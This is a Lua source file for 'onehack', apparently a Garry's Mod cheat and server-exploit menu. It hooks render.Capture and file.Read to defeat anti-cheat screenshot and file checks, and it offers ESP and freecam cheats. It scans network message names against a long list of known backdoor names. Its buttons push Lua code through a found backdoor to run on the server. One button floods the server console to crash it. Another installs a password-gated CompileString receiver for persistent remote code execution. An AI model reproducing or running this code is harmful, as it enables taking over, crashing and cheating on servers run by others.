· 5 years ago · Mar 22, 2020, 11:52 AM
1local function init()
2
3local onehack = onehack or {}
4onehack.options = onehack.options or {}
5onehack.Vars = {}
6onehack.Vars['ASR'] = true -- ANTISCREENGRAB
7onehack.Vars['ASF'] = false -- ANTIFILESTEAL
8onehack.Vars['ESP'] = false
9onehack.Vars['FCAM'] = false -- FREECAM
10onehack.Vars['ESP_NAME'] = false
11onehack.Vars['ESP_WEAPON'] = false
12onehack.Vars['ESP_BOX'] = false
13onehack.Vars['ESP_HPBOX'] = false
14onehack.Vars['WEAPON_LIST3D'] = false
15onehack.Vars['keypad_jiw'] = false
16onehack.CamSpeed_Normal = 2
17onehack.CamSpeed_Fast = 7
18onehack.CamSpeed_Slow = 0.5
19onehack.SpectatePlayer = nil
20onehack.StartCamPos = LocalPlayer():EyePos() or Vector(0,0,0)
21onehack.StartCamAng = LocalPlayer():EyeAngles() or Angle(0,0,0)
22onehack.options.esp = onehack.options.esp or {}
23onehack.theme = onehack.theme or {}
24onehack.BackDoors = {"m9k_rvac","YukiBackdoor","The_DankWhy","loki","stil","thanos","Limon","OBF::JH::HAX","HitOrMiss<3Luda","https://i.imgur.com/Gf6hLMl.png","Net.Start","insid3","ABCNet","FoerHack","display_messagesfh","_Reading_darkrp","nx_noiwex","FPSBOOST","nxsuper","Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ALTERED_CARB0N","ITEM","R8","fix","Fix_Keypads","PoliceJoin","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nostrip","nocheat","LickMeOut","JSQuery.Data(Post(false))","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","c","Detoured q","Þà?D)◘","idk","r8helper","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","Þà ?D)â—","Þà ?D)","SparksLeBg","disablebackdoor","slua2","slua","CraftSomething","WriteQuery","thefrenchenculer","pplay_sendtable"," .. v.NetWork .. ","slua6","jeveuttonrconleul","kill","DefqonBackdoor","DarkRP_AllDoorDatas","0101.1","awarn_remove","PlayerItemPickUp","_Infinity","Infinity","InfinityBackdoor","_Infinity_Meme_","arivia","ULogs_B","_Warns","_cac_","striphelper","_vliss"," Ў є ѕ ї ёСЂ ѕ І ° Ѕ ѕ І ±СѓС„ µСЂ ѕ ± ј µ Ѕ °.","_KekTcf","DataMinerType","_blacksmurf","blacksmurfBackdoor","_Raze","m9k_explosionradius","m9k_explosive","m9k_addons","rcivluz","SENDTEST","_clientcvars","_main","stream","waoz","thereaperishere","bdsm","ZernaxBackdoor","UKT_MOMOS","anticrash","audisquad_lua","dontforget","noprop","thereaper","0x13","Child","!Cac","azkaw","BOOST_FPS","childexploit","ULX_ANTI_BACKDOOR","FADMIN_ANTICRASH","ULX_QUERY_TEST2","GMOD_NETDBG","netlib_debug","NoOdium_ReadPing","Sbox_gm_attackofnullday_key","Sbox_Message","idk","aze46aez67z67z64dcv4bt","nolag","changename","music","xenoexistscl","fourhead","echangeinfo","Þ� ?D)◘","elfamosabackdoormdr","stoppk","reaper","Abcdefgh","pjHabrp9EY","gag","_Battleye_Meme_","GaySploitBackdoor","_GaySploit","Bilboard.adverts:Spawn(false)","BazZziliuS","CacAntiCheat","noclipcloakaWH_chat_text","WepSwitch_DisableAllSwitch","PlayerCheck","backdoorattackdefense_superadminsettrue","loona","kIRIUS"}
25onehack.foundedbacks = {}
26onehack.antiskabad = {"Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ITEM","R8","fix","Fix_Keypads","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nocheat","LickMeOut","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","idk","c","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","ГћГ ?D)в—˜","disablebackdoor","kill","DefqonBackdoor"}
27onehack.AllNets = {}
28onehack.selectedbackdoor = "none"
29onehack.version = "1.0.0"
30onehack.selected_player = 0
31onehack.debug = onehack.debug or {}
32onehack.foundednets = {}
33-- THEME SETTINGS
34onehack.theme.background = Color(30,30,30,200)
35onehack.theme.backgroundalt = Color(25,25,25)
36onehack.theme.backgroundalt2 = Color(50,50,50)
37onehack.theme.backgroundalt3 = Color(15,15,15)
38onehack.theme.buttonhover = Color(255,255,255,50)
39onehack.theme.chroma = Color(255,180,30)
40onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
41-- THEME SETTINGS
42onehack.memory = {
43 ["hud"] = 0,
44 ["logic"] = 0,
45 ["aimbot"] = 0,
46}
47-- OPTIONS
48onehack.options.esp.enable = false
49onehack.options.esp.showname = false
50onehack.options.esp.showbox = false
51onehack.options.esp.showgroup = false
52onehack.options.esp.showweapn = false
53onehack.options.esp.boxtype = 0
54onehack.options.esp.boxcolor = Color(255,255,255)
55onehack.options.esp.namecolor = Color(255,255,255)
56onehack.options.esp.weaponcolor = Color(255,255,255)
57onehack.options.esp.groupcolor = Color(255,255,255)
58
59onehack.options.esp.enable_entity = false
60onehack.options.esp.showname_entity = false
61onehack.options.esp.showbox_entity = false
62onehack.options.esp.boxtype_entity = 0
63onehack.options.esp.boxcolor_entity = Color(255,255,255)
64onehack.options.esp.namecolor_entity = Color(255,255,255)
65-- OPTIONS
66onehack.selectedpanel = nil
67onehack.selectedpanel_id = 0
68onehack.timestamp = os.time()
69onehack.timettring = os.date( "[%H:%M:%S] " , timestamp )
70function onehack.DebugLog( str, col )
71 table.insert(onehack.debug, {onehack.timettring..str, col})
72 if #onehack.debug > 200 then
73 table.remove( onehack.debug, 1 )
74 end
75end
76
77local Tuner = nil
78function onehack.NetStart( str )
79 --print("[DEBUG] Started net: "..str)
80 if onehack.selectedbackdoor == "none" then return false end
81 return net.Start( str )
82end
83
84
85local ss = false
86local renderv = render.RenderView
87local renderc = render.Clear
88local rendercap = render.Capture
89local vguiworldpanel = vgui.GetWorldPanel
90
91
92function onehack.screengrab()
93 if ss then return end
94 ss = true
95
96 renderc( 0, 0, 0, 255, true, true )
97 renderv( {
98 origin = LocalPlayer():EyePos(),
99 angles = LocalPlayer():EyeAngles(),
100 x = 0,
101 y = 0,
102 w = ScrW(),
103 h = ScrH(),
104 dopostprocess = true,
105 drawhud = true,
106 drawmonitors = true,
107 drawviewmodel = true
108 } )
109
110 local vguishits = vguiworldpanel()
111
112 if IsValid( vguishits ) then
113 vguishits:SetPaintedManually( true )
114 end
115
116 timer.Simple( 0.1, function()
117 vguiworldpanel():SetPaintedManually( false )
118 ss = false
119 end)
120end
121
122render.Capture = function(data)
123 if onehack.Vars['ASR'] then
124 onehack.screengrab()
125 onehack.DebugLog( "ScreenGrab started: PROTECTED!", Color(0,255,0) )
126 else
127 onehack.DebugLog( "ScreenGrab started: NOT PROTECTED!", Color(255,0,0) )
128 end
129 local cap = rendercap( data )
130 return cap
131end
132
133local oldRead = file.Read
134function file.Read( fn, path )
135 if string.find(path, "DATA") or string.find(path, "lua") and onehack.Vars['ASF'] then
136 onehack.DebugLog( "File readed: "..path, Color(0,255,0) )
137 return "vzlom_zhopi()"
138 else
139 onehack.DebugLog( "File readed: "..path, Color(255,0,0) )
140 return oldRead( fn, path )
141 end
142end
143
144
145function onehack.NetWriteBeat( str )
146 local netwretbit = net.WriteBit
147 return netwretbit( str )
148end
149
150function onehack.SendToServak()
151 if onehack.selectedbackdoor == "none" then return false end
152 local netsendsrviar = net.SendToServer
153 return netsendsrviar()
154end
155
156function onehack.NetWireString( str )
157 local netwitestring = net.WriteString
158 return netwitestring( str )
159end
160
161function onehack.NetWireInt( str1,str2 )
162 local netwitestring = net.WriteInt
163 return netwitestring( str1,str2 )
164end
165
166function onehack.ValidNetStriABCD( str )
167 local status, error = pcall( s, str )
168 return status
169end
170
171function onehack.MouseInArea(framesag,minx,miny,maxx,maxy)
172 local PosX,PosY = framesag:GetPos()
173 local posx,posy = gui.MousePos();
174 return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
175end
176
177function onehack.RandomString(len)
178 if len == nil then
179 len = math.random(20,100)
180 end
181 local ret = ""
182 for i=1,len do
183 ret = ret..string.char(math.random(33,126))
184 end
185 return ret
186end
187
188function onehack.DrawOutLinedRect(x,y,w,h,color)
189 surface.SetDrawColor( color )
190 surface.DrawOutlinedRect( x, y, w, h )
191 surface.SetDrawColor( Color(255,255,255,255) )
192end
193function onehack.DrawRect(x,y,w,h,color)
194 surface.SetDrawColor( color )
195 surface.DrawRect( x, y, w, h )
196 surface.SetDrawColor( Color(255,255,255,255) )
197end
198function onehack.Drawline(x,y,x2,y2,color)
199 surface.SetDrawColor(color)
200 surface.DrawLine(x,y,x2,y2)
201 surface.SetDrawColor( Color(255,255,255,255) )
202end
203local SpecModeFrame
204function onehack.SpectateMode()
205 if IsValid(SpecModeFrame) then return end
206 onehack.Vars['SCAM'] = true
207 SpecModeFrame = vgui.Create("DFrame")
208 SpecModeFrame:SetSize(300,400)
209 SpecModeFrame:SetPos(ScrW()-300,0)
210 SpecModeFrame:SetTitle("")
211 SpecModeFrame:ShowCloseButton(false)
212 function SpecModeFrame:Paint(w,h)
213 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
214 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
215 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
216 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
217 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
218 draw.SimpleText("Spectator Mode","DermaDefault",w/2,20,Color(150,150,150),1,1)
219 local weapon = "NONE"
220 local hps = "NONE"
221 local ars = "NONE"
222 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
223 if IsValid(onehack.SpectatePlayer:GetActiveWeapon()) then
224 weapon = onehack.SpectatePlayer:GetActiveWeapon():GetClass()
225 end
226 hps = onehack.SpectatePlayer:Health()
227 ars = onehack.SpectatePlayer:Armor()
228 end
229 draw.SimpleText("Weapon: "..weapon,"DermaDefault",10,h-60,Color(150,150,150),0,1)
230 draw.SimpleText("HP/AR: "..hps.."/"..ars,"DermaDefault",12,h-45,Color(150,150,150),0,1)
231 end
232
233 local SpecPlayerList = vgui.Create( "DScrollPanel", SpecModeFrame )
234 SpecPlayerList:Dock(TOP)
235 SpecPlayerList:DockMargin(2,2, 2, 2)
236 SpecPlayerList:SetTall(300)
237 function SpecPlayerList:Paint( w,h )
238 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
239 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
240 end
241 SpecPlayerList.VBar:SetWidth(1)
242 SpecPlayerList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar():GetWide(), SpecPlayerList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
243 SpecPlayerList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnUp:GetWide(), SpecPlayerList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
244 SpecPlayerList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnDown:GetWide(), SpecPlayerList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
245 SpecPlayerList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnGrip:GetWide(), SpecPlayerList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
246
247 for k,v in pairs(player.GetAll()) do
248 if IsValid(v) then
249 local onehack_player_button = SpecPlayerList:Add( "DButton" )
250 onehack_player_button:SetText( "" )
251 onehack_player_button:Dock( TOP )
252 onehack_player_button:DockMargin( 2, 2, 2, 0 )
253 onehack_player_button.Paint = function( _, w, h )
254 if onehack_player_button:IsHovered() then
255 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
256 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
257 else
258 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
259 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
260 end
261 if onehack.SpectatePlayer == v then
262 if IsValid(v) and v:IsPlayer() then
263 draw.SimpleText("> "..v:Name() or "NILL".." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
264 end
265 else
266 if IsValid(v) and v:IsPlayer() then
267 draw.SimpleText(v:Name() or "NILL","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
268 end
269 end
270 end
271 function onehack_player_button:DoClick()
272 if onehack.SpectatePlayer == v then
273 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
274 onehack.SpectatePlayer:SetNoDraw( false )
275 end
276 onehack.SpectatePlayer = nil
277 else
278 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
279 onehack.SpectatePlayer:SetNoDraw( false )
280 end
281 onehack.SpectatePlayer = v
282 v:SetNoDraw( true )
283 end
284 end
285 end
286 end
287
288 for k, v in pairs(ents.GetAll()) do
289 if v:GetClass() == "gmod_cameraprop" then
290 local onehack_camera_button = SpecPlayerList:Add( "DButton" )
291 onehack_camera_button:SetText( "" )
292 onehack_camera_button:Dock( TOP )
293 onehack_camera_button:DockMargin( 2, 2, 2, 0 )
294 onehack_camera_button.Paint = function( _, w, h )
295 if onehack_camera_button:IsHovered() then
296 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
297 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
298 else
299 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
300 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
301 end
302 if onehack.SpectatePlayer == v then
303 draw.SimpleText("> CAMERA "..k.."# <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
304 else
305 draw.SimpleText("CAMERA "..k.."#","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
306 end
307 end
308 function onehack_camera_button:DoClick()
309 if onehack.SpectatePlayer == v then
310 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
311 onehack.SpectatePlayer:SetNoDraw( false )
312 end
313 onehack.SpectatePlayer = nil
314 else
315 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
316 onehack.SpectatePlayer:SetNoDraw( false )
317 end
318 onehack.SpectatePlayer = v
319 if v:IsValid() then
320 v:SetNoDraw( true )
321 end
322 end
323 end
324 end
325 end
326
327 local CloseSpec = SpecModeFrame:Add( "DButton" )
328 CloseSpec:SetTextColor( Color( 200, 200, 200 ) )
329 CloseSpec:SetText( "" )
330 CloseSpec:Dock(BOTTOM)
331 CloseSpec:DockMargin(1,2, 1, 0)
332 function CloseSpec:Paint( w,h )
333 if CloseSpec:IsHovered() then
334 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
335 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
336 else
337 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
338 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
339 end
340 draw.SimpleText("Exit","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
341 end
342
343 CloseSpec.DoClick = function()
344 onehack.Vars['SCAM'] = false
345 SpecModeFrame:Remove()
346 end
347end
348
349function onehack.scan()
350 for i = 0, 2^16 do
351 local str = util.NetworkIDToString( i )
352 if ( str && str != "" ) then
353 if( !net.Receivers[str] ) then
354 table.insert( onehack.AllNets, str )
355 end
356 end
357 end
358 for i = 0, 2^16 do
359 local str = util.NetworkIDToString( i )
360 if ( str && str != "" ) then
361 if( !net.Receivers[str] ) then
362 table.insert(onehack.foundednets,str)
363 if table.HasValue( onehack.BackDoors, str ) or string.find( string.lower(str), "backdoor" ) or string.find( string.lower(str), "exploit" ) or string.find( string.lower(str), "http" ) then
364 if not table.HasValue( onehack.foundedbacks, str ) then
365 if not table.HasValue(onehack.antiskabad,str) then
366 table.insert( onehack.foundedbacks, str )
367 onehack.DebugLog( "Backdoor found: "..str, Color(116,41,162) )
368 else
369 table.insert( onehack.foundedbacks, str )
370 onehack.DebugLog( "Backdoor found: "..str.." (Внимание данный бэкду ве оятнее фейк!)", Color(116,41,162) )
371 end
372 end
373 end
374 end
375 end
376 end
377end
378
379function onehack.StripWeapon( ent )
380 if not ent:IsValid() then return end
381 if ent.NextNuke and ent.NextNuke > CurTime() then return end
382 onehack.NetStart("properties")
383 net.WriteString("remove")
384 net.WriteEntity( ent )
385 net.SendToServer()
386 ent.NextNuke = CurTime() + 0.5
387end
388function onehack.StripAllWeapons( tab )
389 for k, v in pairs( tab ) do
390 if not v:IsValid() then continue end
391 if v.NextNuke and v.NextNuke > CurTime() then continue end
392 onehack.NetStart("properties")
393 net.WriteString("remove")
394 net.WriteEntity( v )
395 net.SendToServer()
396 end
397end
398onehack.scan()
399function MainFunc()
400 actived = true
401 framesag = vgui.Create("DFrame")
402 framesag:SetSize(600,400)
403 framesag:Center()
404 framesag:MakePopup()
405 framesag:SetTitle("")
406 framesag:ShowCloseButton(false)
407 function framesag:Init()
408 framesag.startTime = SysTime()
409 end
410 function framesag:Paint(w,h)
411 Derma_DrawBackgroundBlur( framesag, framesag.startTime )
412 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
413 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
414 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
415 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
416 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
417 end
418
419 ButtonList = vgui.Create( "DScrollPanel", framesag )
420 ButtonList:SetPos(6,9)
421 ButtonList:SetSize(120,400-15)
422 function ButtonList:Paint(w,h)
423 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
424 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
425 end
426
427 function PanelAddButton( text, menuses,id) -- Кнопка в левое меню
428 local MenuBut = ButtonList:Add( "DButton" )
429 MenuBut:SetTextColor( Color( 200, 200, 200 ) )
430 MenuBut:SetText("")
431 MenuBut:SetHeight(30)
432 MenuBut:Dock( TOP )
433 MenuBut:DockMargin( 0, 0, 0, 0 )
434 function MenuBut:Paint( w,h )
435 if MenuBut:IsHovered() then
436 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
437 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
438 else
439 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
440 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
441 end
442 if onehack.selectedpanel_id == id then
443 draw.SimpleText(text,"DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
444 else
445 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
446 end
447 end
448
449 MenuBut.DoClick = function()
450 if onehack.selectedpanel == menuses then return end
451 if onehack.selectedpanel != menuses then
452 menuses()
453 end
454 end
455 end
456
457 function onehack.AddFunction( text , lolol, dawcf, func ) -- Кнопка в левое меню
458 local MenuBut2 = onehack.backlistt_functionsss_list:Add( "DButton" )
459 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
460 MenuBut2:SetText( "" )
461 MenuBut2:Dock( TOP )
462 MenuBut2:DockMargin( 0, 0, 0, 1 )
463 function MenuBut2:Paint( w,h )
464 if MenuBut2:IsHovered() then
465 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
466 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
467 else
468 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
469 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
470 end
471 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
472 end
473
474 MenuBut2.DoClick = function()
475 func()
476 end
477 end
478 function onehack.AddExploit( text , func ) -- Кнопка в левое меню
479 local MenuBut2 = onehack.exploitsList:Add( "DButton" )
480 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
481 MenuBut2:SetText( "" )
482 MenuBut2:Dock( TOP )
483 MenuBut2:DockMargin( 0, 0, 0, 1 )
484 function MenuBut2:Paint( w,h )
485 if MenuBut2:IsHovered() then
486 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
487 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
488 else
489 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
490 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
491 end
492 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
493 end
494
495 MenuBut2.DoClick = function()
496 func()
497 end
498 end
499 function onehackdooropt() -- onehack.backlistt_functionsss_list
500 onehackdooropt = vgui.Create( "DPanel" , framesag )
501 onehackdooropt:SetPos( 126, 9 )
502 onehackdooropt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
503 function onehackdooropt:Paint( w, h )
504 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
505 end
506
507 onehack.backlistt = vgui.Create( "DComboBox", onehackdooropt )
508 onehack.backlistt:SetPos( onehackdooropt:GetWide()-155, 5 )
509 onehack.backlistt:SetSize( 150, 25 )
510 onehack.backlistt:SetValue( "Select Backdoor" )
511 for _,v in pairs(onehack.foundedbacks) do
512 onehack.backlistt:AddChoice( v )
513 end
514 onehack.backlistt.OnSelect = function( self, index, value )
515 onehack.selectedbackdoor = value
516 end
517 onehack.backlistt.Paint = function( _, w, h )
518 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
519 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
520 end
521
522 onehack.backlistt_check_button = vgui.Create( "DButton", onehackdooropt )
523 onehack.backlistt_check_button:SetPos( 5, 5 )
524 onehack.backlistt_check_button:SetSize( 150, 25 )
525 onehack.backlistt_check_button:SetText( "" )
526 onehack.backlistt_check_button.Paint = function( _, w, h )
527 if onehack.backlistt_check_button:IsHovered() then
528 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
529 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
530 else
531 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
532 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
533 end
534 draw.SimpleText("Check backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
535 end
536 function onehack.backlistt_check_button:DoClick()
537 onehack.NetStart( onehack.selectedbackdoor )
538 onehack.NetWireString([[
539
540 local id = ]] .. LocalPlayer():UserID() .. [[
541
542 Player( id ):SendLua("ABCNotify(\" аботает!\", 4)")
543
544 ]])
545 net.WriteBit(1)
546 onehack.SendToServak()
547 end
548
549 onehack.backlistt_crashserver = vgui.Create( "DButton", onehackdooropt )
550 onehack.backlistt_crashserver:SetPos( onehackdooropt:GetWide()-155, 35 )
551 onehack.backlistt_crashserver:SetSize( 150, 25 )
552 onehack.backlistt_crashserver:SetText( "" )
553 onehack.backlistt_crashserver.Paint = function( _, w, h )
554 if onehack.backlistt_crashserver:IsHovered() then
555 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
556 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
557 else
558 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
559 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
560 end
561 draw.SimpleText("Off server","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
562 end
563 function onehack.backlistt_crashserver:DoClick()
564 onehack.NetStart( onehack.selectedbackdoor )
565 net.WriteString( "timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \"� \") end end)" )
566 net.WriteBit(1)
567 onehack.SendToServak()
568 end
569
570 onehack.backlistt_pach_button = vgui.Create( "DButton", onehackdooropt )
571 onehack.backlistt_pach_button:SetPos( 160, 5 )
572 onehack.backlistt_pach_button:SetSize( 147, 25 )
573 onehack.backlistt_pach_button:SetText( "" )
574 onehack.backlistt_pach_button.Paint = function( _, w, h )
575 if onehack.backlistt_pach_button:IsHovered() then
576 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
577 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
578 else
579 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
580 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
581 end
582 draw.SimpleText("Detect pach","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
583 end
584 function onehack.backlistt_pach_button:DoClick()
585 onehack.NetStart( onehack.selectedbackdoor )
586 onehack.NetWireString([[
587 local id = ]] .. LocalPlayer():UserID() .. [[
588
589 for k ,v in SortedPairs( net.Receivers, false ) do
590 if k == string.lower( "]]..onehack.selectedbackdoor..[[") then
591 Player( id ):ChatPrint("Path: "..debug.getinfo( v )["short_src"] )
592 end
593 end
594 ]])
595 net.WriteBit(1)
596 onehack.SendToServak()
597 end
598
599 onehack.backlistt_fix_button = vgui.Create( "DButton", onehackdooropt )
600 onehack.backlistt_fix_button:SetPos( 160, 35 )
601 onehack.backlistt_fix_button:SetSize( 147, 25 )
602 onehack.backlistt_fix_button:SetText( "" )
603 onehack.backlistt_fix_button.Paint = function( _, w, h )
604 if onehack.backlistt_fix_button:IsHovered() then
605 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
606 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
607 else
608 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
609 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
610 end
611 draw.SimpleText("Fix backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
612 end
613 function onehack.backlistt_fix_button:DoClick()
614 onehack.NetStart( onehack.selectedbackdoor )
615 net.WriteString( [[
616 net.Receive(]]..onehack.selectedbackdoor..[[,function()
617 print("У ВАС ЕСТЬ BACKDOOR!!!!!!!!!!!!!!!!!!!!!!!!")
618 end)
619 ]] )
620 net.WriteBit(1)
621 onehack.SendToServak()
622 end
623
624 onehack.backlistt_protect_input = vgui.Create("DTextEntry", onehackdooropt)
625 onehack.backlistt_protect_input:SetPos( 5, 35 )
626 onehack.backlistt_protect_input:SetSize( 150, 25 )
627 onehack.backlistt_protect_input:SetText( "password" )
628 onehack.backlistt_protect_input.Paint = function( self, w, h )
629 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
630 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
631 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
632 --draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
633 end
634
635 onehack.backlistt_protect_button = vgui.Create( "DButton", onehackdooropt )
636 onehack.backlistt_protect_button:SetPos( 5, 59 )
637 onehack.backlistt_protect_button:SetSize( 150, 31 )
638 onehack.backlistt_protect_button:SetText( "" )
639 onehack.backlistt_protect_button.Paint = function( _, w, h )
640 if onehack.backlistt_protect_button:IsHovered() then
641 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
642 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
643 else
644 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
645 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
646 end
647 draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
648 end
649 function onehack.backlistt_protect_button:DoClick()
650 onehack.NetStart( onehack.selectedbackdoor )
651 onehack.NetWireString([[
652 net.Receive(]]..onehack.selectedbackdoor..[[,function()
653 if net.ReadFloat() == "]]..onehack.backlistt_protect_input:GetValue()..[[" then
654 local x = CompileString( net.ReadString(), 'LuaCmd', false )
655 if isfunction( x ) then
656 x()
657 end
658 end
659 end)
660 ]])
661 net.WriteBit(1)
662 onehack.SendToServak()
663 end
664
665 onehack.backlistt_players_list = vgui.Create( "DScrollPanel", onehackdooropt )
666 onehack.backlistt_players_list:SetPos(5,114)
667 onehack.backlistt_players_list:SetSize(150,264)
668 function onehack.backlistt_players_list:Paint( w,h )
669 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
670 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
671 end
672 onehack.backlistt_players_list.VBar:SetWidth(1)
